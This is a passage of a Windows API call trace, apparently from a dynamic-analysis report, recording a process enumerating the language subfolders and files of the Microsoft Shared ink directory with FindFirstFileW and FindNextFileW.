dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0272.470] GetLastError () returned 0x12 [0272.470] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0272.470] GetLastError () returned 0x12 [0272.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.470] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.470] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.470] GetLastError () returned 0x12 [0272.470] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.470] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.470] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.470] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0272.470] GetLastError () returned 0x12 [0272.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.470] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.470] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.470] GetLastError () returned 0x12 [0272.471] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.471] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.471] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.471] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0272.471] GetLastError () returned 0x12 [0272.471] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.472] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.472] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.472] GetLastError () returned 0x12 [0272.472] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.472] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.472] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.472] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0272.472] GetLastError () returned 0x12 [0272.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.472] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.472] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.472] GetLastError () returned 0x12 [0272.472] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.472] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.472] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.473] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0272.473] GetLastError () returned 0x12 [0272.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.474] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.475] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0272.475] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0272.476] GetLastError () returned 0x12 [0272.476] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0272.477] GetLastError () returned 0x12 [0272.477] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0272.477] GetLastError () returned 0x12 [0272.477] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0272.477] GetLastError () returned 0x12 [0272.477] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, 